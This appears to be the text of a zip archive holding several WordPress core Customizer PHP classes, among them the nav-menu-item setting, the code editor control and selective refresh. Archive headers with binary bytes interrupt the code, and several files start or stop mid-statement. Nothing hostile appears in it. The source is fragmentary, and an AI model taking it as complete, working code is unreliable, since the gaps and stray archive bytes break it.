    %s × %s', $width, $height ) ); } elseif ( $width ) { printf( /* translators: %s: Header width in pixels. */ __( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ), sprintf( '%s', $width ) ); } else { printf( /* translators: %s: Header height in pixels. */ __( 'Click “Add Image” to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels — you’ll be able to crop your image once you upload it for a perfect fit.' ), sprintf( '%s', $height ) ); } ?>

    <# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #> value(); if ( $value ) { // Get the attachment model for the existing file. $attachment_id = attachment_url_to_postid( $value ); if ( $attachment_id ) { $this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id ); } } } } PK!Ȋkk,class-wp-customize-nav-menu-item-setting.phpnu[-?\d+)\]$/'; const POST_TYPE = 'nav_menu_item'; const TYPE = 'nav_menu_item'; /** * Setting type. * * @since 4.3.0 * @var string */ public $type = self::TYPE; /** * Default setting value. * * @since 4.3.0 * @var array * * @see wp_setup_nav_menu_item() */ public $default = array( // The $menu_item_data for wp_update_nav_menu_item(). 'object_id' => 0, 'object' => '', // Taxonomy name. 'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included. 'position' => 0, // A.K.A. menu_order. 'type' => 'custom', // Note that type_label is not included here. 'title' => '', 'url' => '', 'target' => '', 'attr_title' => '', 'description' => '', 'classes' => '', 'xfn' => '', 'status' => 'publish', 'original_title' => '', 'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item(). '_invalid' => false, ); /** * Default transport. * * @since 4.3.0 * @since 4.5.0 Default changed to 'refresh' * @var string */ public $transport = 'refresh'; /** * The post ID represented by this setting instance. This is the db_id. * * A negative value represents a placeholder ID for a new menu not yet saved. * * @since 4.3.0 * @var int */ public $post_id; /** * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item(). * * @since 4.3.0 * @var array|null */ protected $value; /** * Previous (placeholder) post ID used before creating a new menu item. * * This value will be exported to JS via the customize_save_response filter * so that JavaScript can update the settings to refer to the newly-assigned * post ID. This value is always negative to indicate it does not refer to * a real post. * * @since 4.3.0 * @var int * * @see WP_Customize_Nav_Menu_Item_Setting::update() * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response() */ public $previous_post_id; /** * When previewing or updating a menu item, this stores the previous nav_menu_term_id * which ensures that we can apply the proper filters. * * @since 4.3.0 * @var int */ public $original_nav_menu_term_id; /** * Whether or not update() was called. * * @since 4.3.0 * @var bool */ protected $is_updated = false; /** * Status for calling the update method, used in customize_save_response filter. * * See {@see 'customize_save_response'}. * * When status is inserted, the placeholder post ID is stored in $previous_post_id. * When status is error, the error is stored in $update_error. * * @since 4.3.0 * @var string updated|inserted|deleted|error * * @see WP_Customize_Nav_Menu_Item_Setting::update() * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response() */ public $update_status; /** * Any error object returned by wp_update_nav_menu_item() when setting is updated. * * @since 4.3.0 * @var WP_Error * * @see WP_Customize_Nav_Menu_Item_Setting::update() * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response() */ public $update_error; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.3.0 * * @throws Exception If $id is not valid for this setting type. * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the setting. * Can be a theme mod or option name. * @param array $args Optional. Setting arguments. */ public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) { if ( empty( $manager->nav_menus ) ) { throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' ); } if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) { throw new Exception( "Illegal widget setting ID: $id" ); } $this->post_id = (int) $matches['id']; add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 ); parent::__construct( $manager, $id, $args ); // Ensure that an initially-supplied value is valid. if ( isset( $this->value ) ) { $this->populate_value(); foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) { throw new Exception( "Supplied nav_menu_item value missing property: $missing" ); } } } /** * Clear the cached value when this nav menu item is updated. * * @since 4.3.0 * * @param int $menu_id The term ID for the menu. * @param int $menu_item_id The post ID for the menu item. */ public function flush_cached_value( $menu_id, $menu_item_id ) { unset( $menu_id ); if ( $menu_item_id === $this->post_id ) { $this->value = null; } } /** * Get the instance data for a given nav_menu_item setting. * * @since 4.3.0 * * @see wp_setup_nav_menu_item() * * @return array|false Instance data array, or false if the item is marked for deletion. */ public function value() { if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) { $undefined = new stdClass(); // Symbol. $post_value = $this->post_value( $undefined ); if ( $undefined === $post_value ) { $value = $this->_original_value; } else { $value = $post_value; } if ( ! empty( $value ) && empty( $value['original_title'] ) ) { $value['original_title'] = $this->get_original_title( (object) $value ); } } elseif ( isset( $this->value ) ) { $value = $this->value; } else { $value = false; // Note that an ID of less than one indicates a nav_menu not yet inserted. if ( $this->post_id > 0 ) { $post = get_post( $this->post_id ); if ( $post && self::POST_TYPE === $post->post_type ) { $is_title_empty = empty( $post->post_title ); $value = (array) wp_setup_nav_menu_item( $post ); if ( $is_title_empty ) { $value['title'] = ''; } } } if ( ! is_array( $value ) ) { $value = $this->default; } // Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item(). $this->value = $value; $this->populate_value(); $value = $this->value; } if ( ! empty( $value ) && empty( $value['type_label'] ) ) { $value['type_label'] = $this->get_type_label( (object) $value ); } return $value; } /** * Get original title. * * @since 4.7.0 * * @param object $item Nav menu item. * @return string The original title. */ protected function get_original_title( $item ) { $original_title = ''; if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) { $original_object = get_post( $item->object_id ); if ( $original_object ) { /** This filter is documented in wp-includes/post-template.php */ $original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID ); if ( '' === $original_title ) { /* translators: %d: ID of a post. */ $original_title = sprintf( __( '#%d (no title)' ), $original_object->ID ); } } } elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) { $original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' ); if ( ! is_wp_error( $original_term_title ) ) { $original_title = $original_term_title; } } elseif ( 'post_type_archive' === $item->type ) { $original_object = get_post_type_object( $item->object ); if ( $original_object ) { $original_title = $original_object->labels->archives; } } $original_title = html_entity_decode( $original_title, ENT_QUOTES, get_bloginfo( 'charset' ) ); return $original_title; } /** * Get type label. * * @since 4.7.0 * * @param object $item Nav menu item. * @return string The type label. */ protected function get_type_label( $item ) { if ( 'post_type' === $item->type ) { $object = get_post_type_object( $item->object ); if ( $object ) { $type_label = $object->labels->singular_name; } else { $type_label = $item->object; } } elseif ( 'taxonomy' === $item->type ) { $object = get_taxonomy( $item->object ); if ( $object ) { $type_label = $object->labels->singular_name; } else { $type_label = $item->object; } } elseif ( 'post_type_archive' === $item->type ) { $type_label = __( 'Post Type Archive' ); } else { $type_label = __( 'Custom Link' ); } return $type_label; } /** * Ensure that the value is fully populated with the necessary properties. * * Translates some properties added by wp_setup_nav_menu_item() and removes others. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Item_Setting::value() */ protected function populate_value() { if ( ! is_array( $this->value ) ) { return; } if ( isset( $this->value['menu_order'] ) ) { $this->value['position'] = $this->value['menu_order']; unset( $this->value['menu_order'] ); } if ( isset( $this->value['post_status'] ) ) { $this->value['status'] = $this->value['post_status']; unset( $this->value['post_status'] ); } if ( ! isset( $this->value['original_title'] ) ) { $this->value['original_title'] = $this->get_original_title( (object) $this->value ); } if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) { $menus = wp_get_post_terms( $this->post_id, WP_Customize_Nav_Menu_Setting::TAXONOMY, array( 'fields' => 'ids', ) ); if ( ! empty( $menus ) ) { $this->value['nav_menu_term_id'] = array_shift( $menus ); } else { $this->value['nav_menu_term_id'] = 0; } } foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) { if ( ! is_int( $this->value[ $key ] ) ) { $this->value[ $key ] = (int) $this->value[ $key ]; } } foreach ( array( 'classes', 'xfn' ) as $key ) { if ( is_array( $this->value[ $key ] ) ) { $this->value[ $key ] = implode( ' ', $this->value[ $key ] ); } } if ( ! isset( $this->value['title'] ) ) { $this->value['title'] = ''; } if ( ! isset( $this->value['_invalid'] ) ) { $this->value['_invalid'] = false; $is_known_invalid = ( ( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) ) || ( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) ) ); if ( $is_known_invalid ) { $this->value['_invalid'] = true; } } // Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value. $irrelevant_properties = array( 'ID', 'comment_count', 'comment_status', 'db_id', 'filter', 'guid', 'ping_status', 'pinged', 'post_author', 'post_content', 'post_content_filtered', 'post_date', 'post_date_gmt', 'post_excerpt', 'post_mime_type', 'post_modified', 'post_modified_gmt', 'post_name', 'post_parent', 'post_password', 'post_title', 'post_type', 'to_ping', ); foreach ( $irrelevant_properties as $property ) { unset( $this->value[ $property ] ); } } /** * Handle previewing the setting. * * @since 4.3.0 * @since 4.4.0 Added boolean return value. * * @see WP_Customize_Manager::post_value() * * @return bool False if method short-circuited due to no-op. */ public function preview() { if ( $this->is_previewed ) { return false; } $undefined = new stdClass(); $is_placeholder = ( $this->post_id < 0 ); $is_dirty = ( $undefined !== $this->post_value( $undefined ) ); if ( ! $is_placeholder && ! $is_dirty ) { return false; } $this->is_previewed = true; $this->_original_value = $this->value(); $this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id']; $this->_previewed_blog_id = get_current_blog_id(); add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 ); $sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' ); if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) { add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 ); } // @todo Add get_post_metadata filters for plugins to add their data. return true; } /** * Filters the wp_get_nav_menu_items() result to supply the previewed menu items. * * @since 4.3.0 * * @see wp_get_nav_menu_items() * * @param WP_Post[] $items An array of menu item post objects. * @param WP_Term $menu The menu object. * @param array $args An array of arguments used to retrieve menu item objects. * @return WP_Post[] Array of menu item objects. */ public function filter_wp_get_nav_menu_items( $items, $menu, $args ) { $this_item = $this->value(); $current_nav_menu_term_id = null; if ( isset( $this_item['nav_menu_term_id'] ) ) { $current_nav_menu_term_id = $this_item['nav_menu_term_id']; unset( $this_item['nav_menu_term_id'] ); } $should_filter = ( $menu->term_id === $this->original_nav_menu_term_id || $menu->term_id === $current_nav_menu_term_id ); if ( ! $should_filter ) { return $items; } // Handle deleted menu item, or menu item moved to another menu. $should_remove = ( false === $this_item || ( isset( $this_item['_invalid'] ) && true === $this_item['_invalid'] ) || ( $this->original_nav_menu_term_id === $menu->term_id && $current_nav_menu_term_id !== $this->original_nav_menu_term_id ) ); if ( $should_remove ) { $filtered_items = array(); foreach ( $items as $item ) { if ( $item->db_id !== $this->post_id ) { $filtered_items[] = $item; } } return $filtered_items; } $mutated = false; $should_update = ( is_array( $this_item ) && $current_nav_menu_term_id === $menu->term_id ); if ( $should_update ) { foreach ( $items as $item ) { if ( $item->db_id === $this->post_id ) { foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) { $item->$key = $value; } $mutated = true; } } // Not found so we have to append it.. if ( ! $mutated ) { $items[] = $this->value_as_wp_post_nav_menu_item(); } } return $items; } /** * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items(). * * @since 4.3.0 * * @see wp_get_nav_menu_items() * * @param WP_Post[] $items An array of menu item post objects. * @param WP_Term $menu The menu object. * @param array $args An array of arguments used to retrieve menu item objects. * @return WP_Post[] Array of menu item objects. */ public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) { // @todo We should probably re-apply some constraints imposed by $args. unset( $args['include'] ); // Remove invalid items only in front end. if ( ! is_admin() ) { $items = array_filter( $items, '_is_valid_nav_menu_item' ); } if ( ARRAY_A === $args['output'] ) { $items = wp_list_sort( $items, array( $args['output_key'] => 'ASC', ) ); $i = 1; foreach ( $items as $k => $item ) { $items[ $k ]->{$args['output_key']} = $i++; } } return $items; } /** * Get the value emulated into a WP_Post and set up as a nav_menu_item. * * @since 4.3.0 * * @return WP_Post With wp_setup_nav_menu_item() applied. */ public function value_as_wp_post_nav_menu_item() { $item = (object) $this->value(); unset( $item->nav_menu_term_id ); $item->post_status = $item->status; unset( $item->status ); $item->post_type = 'nav_menu_item'; $item->menu_order = $item->position; unset( $item->position ); if ( empty( $item->original_title ) ) { $item->original_title = $this->get_original_title( $item ); } if ( empty( $item->title ) && ! empty( $item->original_title ) ) { $item->title = $item->original_title; } if ( $item->title ) { $item->post_title = $item->title; } // 'classes' should be an array, as in wp_setup_nav_menu_item(). if ( isset( $item->classes ) && is_scalar( $item->classes ) ) { $item->classes = explode( ' ', $item->classes ); } $item->ID = $this->post_id; $item->db_id = $this->post_id; $post = new WP_Post( (object) $item ); if ( empty( $post->post_author ) ) { $post->post_author = get_current_user_id(); } if ( ! isset( $post->type_label ) ) { $post->type_label = $this->get_type_label( $post ); } // Ensure nav menu item URL is set according to linked object. if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) { $post->url = get_permalink( $post->object_id ); } elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) { $post->url = get_term_link( (int) $post->object_id, $post->object ); } elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) { $post->url = get_post_type_archive_link( $post->object ); } if ( is_wp_error( $post->url ) ) { $post->url = ''; } /** This filter is documented in wp-includes/nav-menu.php */ $post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title ); /** This filter is documented in wp-includes/nav-menu.php */ $post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) ); /** This filter is documented in wp-includes/nav-menu.php */ $post = apply_filters( 'wp_setup_nav_menu_item', $post ); return $post; } /** * Sanitize an input. * * Note that parent::sanitize() erroneously does wp_unslash() on $value, but * we remove that in this override. * * @since 4.3.0 * @since 5.9.0 Renamed `$menu_item_value` to `$value` for PHP 8 named parameter support. * * @param array $value The menu item value to sanitize. * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion. * Otherwise the sanitized value. */ public function sanitize( $value ) { // Restores the more descriptive, specific name for use within this method. $menu_item_value = $value; // Menu is marked for deletion. if ( false === $menu_item_value ) { return $menu_item_value; } // Invalid. if ( ! is_array( $menu_item_value ) ) { return null; } $default = array( 'object_id' => 0, 'object' => '', 'menu_item_parent' => 0, 'position' => 0, 'type' => 'custom', 'title' => '', 'url' => '', 'target' => '', 'attr_title' => '', 'description' => '', 'classes' => '', 'xfn' => '', 'status' => 'publish', 'original_title' => '', 'nav_menu_term_id' => 0, '_invalid' => false, ); $menu_item_value = array_merge( $default, $menu_item_value ); $menu_item_value = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) ); $menu_item_value['position'] = (int) $menu_item_value['position']; foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) { // Note we need to allow negative-integer IDs for previewed objects not inserted yet. $menu_item_value[ $key ] = (int) $menu_item_value[ $key ]; } foreach ( array( 'type', 'object', 'target' ) as $key ) { $menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] ); } foreach ( array( 'xfn', 'classes' ) as $key ) { $value = $menu_item_value[ $key ]; if ( ! is_array( $value ) ) { $value = explode( ' ', $value ); } $menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) ); } $menu_item_value['original_title'] = sanitize_text_field( $menu_item_value['original_title'] ); // Apply the same filters as when calling wp_insert_post(). /** This filter is documented in wp-includes/post.php */ $menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) ); /** This filter is documented in wp-includes/post.php */ $menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) ); /** This filter is documented in wp-includes/post.php */ $menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) ); if ( '' !== $menu_item_value['url'] ) { $menu_item_value['url'] = sanitize_url( $menu_item_value['url'] ); if ( '' === $menu_item_value['url'] ) { return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid. } } if ( 'publish' !== $menu_item_value['status'] ) { $menu_item_value['status'] = 'draft'; } $menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid']; /** This filter is documented in wp-includes/class-wp-customize-setting.php */ return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this ); } /** * Creates/updates the nav_menu_item post for this setting. * * Any created menu items will have their assigned post IDs exported to the client * via the {@see 'customize_save_response'} filter. Likewise, any errors will be * exported to the client via the customize_save_response() filter. * * To delete a menu, the client can send false as the value. * * @since 4.3.0 * * @see wp_update_nav_menu_item() * * @param array|false $value The menu item array to update. If false, then the menu item will be deleted * entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value * should consist of. * @return null|void */ protected function update( $value ) { if ( $this->is_updated ) { return; } $this->is_updated = true; $is_placeholder = ( $this->post_id < 0 ); $is_delete = ( false === $value ); // Update the cached value. $this->value = $value; add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) ); if ( $is_delete ) { // If the current setting post is a placeholder, a delete request is a no-op. if ( $is_placeholder ) { $this->update_status = 'deleted'; } else { $r = wp_delete_post( $this->post_id, true ); if ( false === $r ) { $this->update_error = new WP_Error( 'delete_failure' ); $this->update_status = 'error'; } else { $this->update_status = 'deleted'; } // @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer? } } else { // Handle saving menu items for menus that are being newly-created. if ( $value['nav_menu_term_id'] < 0 ) { $nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] ); $nav_menu_setting = $this->manager->get_setting( $nav_menu_setting_id ); if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_nav_menu_setting' ); return; } if ( false === $nav_menu_setting->save() ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'nav_menu_setting_failure' ); return; } if ( (int) $value['nav_menu_term_id'] !== $nav_menu_setting->previous_term_id ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_previous_term_id' ); return; } $value['nav_menu_term_id'] = $nav_menu_setting->term_id; } // Handle saving a nav menu item that is a child of a nav menu item being newly-created. if ( $value['menu_item_parent'] < 0 ) { $parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] ); $parent_nav_menu_item_setting = $this->manager->get_setting( $parent_nav_menu_item_setting_id ); if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_nav_menu_item_setting' ); return; } if ( false === $parent_nav_menu_item_setting->save() ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'nav_menu_item_setting_failure' ); return; } if ( (int) $value['menu_item_parent'] !== $parent_nav_menu_item_setting->previous_post_id ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_previous_post_id' ); return; } $value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id; } // Insert or update menu. $menu_item_data = array( 'menu-item-object-id' => $value['object_id'], 'menu-item-object' => $value['object'], 'menu-item-parent-id' => $value['menu_item_parent'], 'menu-item-position' => $value['position'], 'menu-item-type' => $value['type'], 'menu-item-title' => $value['title'], 'menu-item-url' => $value['url'], 'menu-item-description' => $value['description'], 'menu-item-attr-title' => $value['attr_title'], 'menu-item-target' => $value['target'], 'menu-item-classes' => $value['classes'], 'menu-item-xfn' => $value['xfn'], 'menu-item-status' => $value['status'], ); $r = wp_update_nav_menu_item( $value['nav_menu_term_id'], $is_placeholder ? 0 : $this->post_id, wp_slash( $menu_item_data ) ); if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { if ( $is_placeholder ) { $this->previous_post_id = $this->post_id; $this->post_id = $r; $this->update_status = 'inserted'; } else { $this->update_status = 'updated'; } } } } /** * Export data for the JS client. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Item_Setting::update() * * @param array $data Additional information passed back to the 'saved' event on `wp.customize`. * @return array Save response data. */ public function amend_customize_save_response( $data ) { if ( ! isset( $data['nav_menu_item_updates'] ) ) { $data['nav_menu_item_updates'] = array(); } $data['nav_menu_item_updates'][] = array( 'post_id' => $this->post_id, 'previous_post_id' => $this->previous_post_id, 'error' => $this->update_error ? $this->update_error->get_error_code() : null, 'status' => $this->update_status, ); return $data; } } PK!  1class-wp-customize-nav-menu-locations-control.phpnu[ <# var elementId; #> setting->post_id; return $exported; } } PK!K $ *class-wp-customize-code-editor-control.phpnu[editor_settings = wp_enqueue_code_editor( array_merge( array( 'type' => $this->code_type, 'codemirror' => array( 'indentUnit' => 2, 'tabSize' => 2, ), ), $this->editor_settings ) ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 4.9.0 * * @see WP_Customize_Control::json() * * @return array Array of parameters passed to the JavaScript. */ public function json() { $json = parent::json(); $json['editor_settings'] = $this->editor_settings; $json['input_attrs'] = $this->input_attrs; return $json; } /** * Don't render the control content from PHP, as it's rendered via JS on load. * * @since 4.9.0 */ public function render_content() {} /** * Render a JS template for control display. * * @since 4.9.0 */ public function content_template() { ?> <# var elementIdPrefix = 'el' + String( Math.random() ); #> <# if ( data.label ) { #> <# } #> <# if ( data.description ) { #> {{{ data.description }}} <# } #>
    __( 'Background Image' ), 'section' => 'background_image', ) ); } /** * Enqueue control related scripts/styles. * * @since 4.1.0 */ public function enqueue() { parent::enqueue(); $custom_background = get_theme_support( 'custom-background' ); wp_localize_script( 'customize-controls', '_wpCustomizeBackground', array( 'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(), 'nonces' => array( 'add' => wp_create_nonce( 'background-add' ), ), ) ); } } PK!m55(class-wp-customize-selective-refresh.phpnu[manager = $manager; require_once ABSPATH . WPINC . '/customize/class-wp-customize-partial.php'; add_action( 'customize_preview_init', array( $this, 'init_preview' ) ); } /** * Retrieves the registered partials. * * @since 4.5.0 * * @return array Partials. */ public function partials() { return $this->partials; } /** * Adds a partial. * * @since 4.5.0 * * @see WP_Customize_Partial::__construct() * * @param WP_Customize_Partial|string $id Customize Partial object, or Partial ID. * @param array $args Optional. Array of properties for the new Partials object. * See WP_Customize_Partial::__construct() for information * on accepted arguments. Default empty array. * @return WP_Customize_Partial The instance of the partial that was added. */ public function add_partial( $id, $args = array() ) { if ( $id instanceof WP_Customize_Partial ) { $partial = $id; } else { $class = 'WP_Customize_Partial'; /** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */ $args = apply_filters( 'customize_dynamic_partial_args', $args, $id ); /** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */ $class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args ); $partial = new $class( $this, $id, $args ); } $this->partials[ $partial->id ] = $partial; return $partial; } /** * Retrieves a partial. * * @since 4.5.0 * * @param string $id Customize Partial ID. * @return WP_Customize_Partial|null The partial, if set. Otherwise null. */ public function get_partial( $id ) { if ( isset( $this->partials[ $id ] ) ) { return $this->partials[ $id ]; } else { return null; } } /** * Removes a partial. * * @since 4.5.0 * * @param string $id Customize Partial ID. */ public function remove_partial( $id ) { unset( $this->partials[ $id ] ); } /** * Initializes the Customizer preview. * * @since 4.5.0 */ public function init_preview() { add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) ); } /** * Enqueues preview scripts. * * @since 4.5.0 */ public function enqueue_preview_scripts() { wp_enqueue_script( 'customize-selective-refresh' ); add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 ); } /** * Exports data in preview after it has finished rendering so that partials can be added at runtime. * * @since 4.5.0 */ public function export_preview_data() { $partials = array(); foreach ( $this->partials() as $partial ) { if ( $partial->check_capabilities() ) { $partials[ $partial->id ] = $partial->json(); } } $switched_locale = switch_to_user_locale( get_current_user_id() ); $l10n = array( 'shiftClickToEdit' => __( 'Shift-click to edit this element.' ), 'clickEditMenu' => __( 'Click to edit this menu.' ), 'clickEditWidget' => __( 'Click to edit this widget.' ), 'clickEditTitle' => __( 'Click to edit the site title.' ), 'clickEditMisc' => __( 'Click to edit this element.' ), /* translators: %s: document.write() */ 'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ), ); if ( $switched_locale ) { restore_previous_locale(); } $exports = array( 'partials' => $partials, 'renderQueryVar' => self::RENDER_QUERY_VAR, 'l10n' => $l10n, ); // Export data to JS. wp_print_inline_script_tag( sprintf( 'var _customizePartialRefreshExports = %s;', wp_json_encode( $exports ) ) ); } /** * Registers dynamically-created partials. * * @since 4.5.0 * * @see WP_Customize_Manager::add_dynamic_settings() * * @param string[] $partial_ids Array of the partial IDs to add. * @return WP_Customize_Partial[] Array of added WP_Customize_Partial instances. */ public function add_dynamic_partials( $partial_ids ) { $new_partials = array(); foreach ( $partial_ids as $partial_id ) { // Skip partials already created. $partial = $this->get_partial( $partial_id ); if ( $partial ) { continue; } $partial_args = false; $partial_class = 'WP_Customize_Partial'; /** * Filters a dynamic partial's constructor arguments. * * For a dynamic partial to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Partial constructor. * * @since 4.5.0 * * @param false|array $partial_args The arguments to the WP_Customize_Partial constructor. * @param string $partial_id ID for dynamic partial. */ $partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id ); if ( false === $partial_args ) { continue; } /** * Filters the class used to construct partials. * * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass. * * @since 4.5.0 * * @param string $partial_class WP_Customize_Partial or a subclass. * @param string $partial_id ID for dynamic partial. * @param array $partial_args The arguments to the WP_Customize_Partial constructor. */ $partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args ); $partial = new $partial_class( $this, $partial_id, $partial_args ); $this->add_partial( $partial ); $new_partials[] = $partial; } return $new_partials; } /** * Checks whether the request is for rendering partials. * * Note that this will not consider whether the request is authorized or valid, * just that essentially the route is a match. * * @since 4.5.0 * * @return bool Whether the request is for rendering partials. */ public function is_render_partials_request() { return ! empty( $_POST[ self::RENDER_QUERY_VAR ] ); } /** * Handles PHP errors triggered during rendering the partials. * * These errors will be relayed back to the client in the Ajax response. * * @since 4.5.0 * * @param int $errno Error number. * @param string $errstr Error string. * @param string $errfile Error file. * @param int $errline Error line. * @return true Always true. */ public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) { $this->triggered_errors[] = array( 'partial' => $this->current_partial_id, 'error_number' => $errno, 'error_string' => $errstr, 'error_file' => $errfile, 'error_line' => $errline, ); return true; } /** * Handles the Ajax request to return the rendered partials for the requested placements. * * @since 4.5.0 */ public function handle_render_partials_request() { if ( ! $this->is_render_partials_request() ) { return; } /* * Note that is_customize_preview() returning true will entail that the * user passed the 'customize' capability check and the nonce check, since * WP_Customize_Manager::setup_theme() is where the previewing flag is set. */ if ( ! is_customize_preview() ) { wp_send_json_error( 'expected_customize_preview', 403 ); } elseif ( ! isset( $_POST['partials'] ) ) { wp_send_json_error( 'missing_partials', 400 ); } // Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes). status_header( 200 ); $partials = json_decode( wp_unslash( $_POST['partials'] ), true ); if ( ! is_array( $partials ) ) { wp_send_json_error( 'malformed_partials' ); } $this->add_dynamic_partials( array_keys( $partials ) ); /** * Fires immediately before partials are rendered. * * Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts * and styles which may get enqueued in the response. * * @since 4.5.0 * * @param WP_Customize_Selective_Refresh $refresh Selective refresh component. * @param array $partials Placements' context data for the partials rendered in the request. * The array is keyed by partial ID, with each item being an array of * the placements' context data. */ do_action( 'customize_render_partials_before', $this, $partials ); set_error_handler( array( $this, 'handle_error' ), error_reporting() ); $contents = array(); foreach ( $partials as $partial_id => $container_contexts ) { $this->current_partial_id = $partial_id; if ( ! is_array( $container_contexts ) ) { wp_send_json_error( 'malformed_container_contexts' ); } $partial = $this->get_partial( $partial_id ); if ( ! $partial || ! $partial->check_capabilities() ) { $contents[ $partial_id ] = null; continue; } $contents[ $partial_id ] = array(); // @todo The array should include not only the contents, but also whether the container is included? if ( empty( $container_contexts ) ) { // Since there are no container contexts, render just once. $contents[ $partial_id ][] = $partial->render( null ); } else { foreach ( $container_contexts as $container_context ) { $contents[ $partial_id ][] = $partial->render( $container_context ); } } } $this->current_partial_id = null; restore_error_handler(); /** * Fires immediately after partials are rendered. * * Plugins may do things like call wp_footer() to scrape scripts output and return them * via the {@see 'customize_render_partials_response'} filter. * * @since 4.5.0 * * @param WP_Customize_Selective_Refresh $refresh Selective refresh component. * @param array $partials Placements' context data for the partials rendered in the request. * The array is keyed by partial ID, with each item being an array of * the placements' context data. */ do_action( 'customize_render_partials_after', $this, $partials ); $response = array( 'contents' => $contents, ); if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) { $response['errors'] = $this->triggered_errors; } $setting_validities = 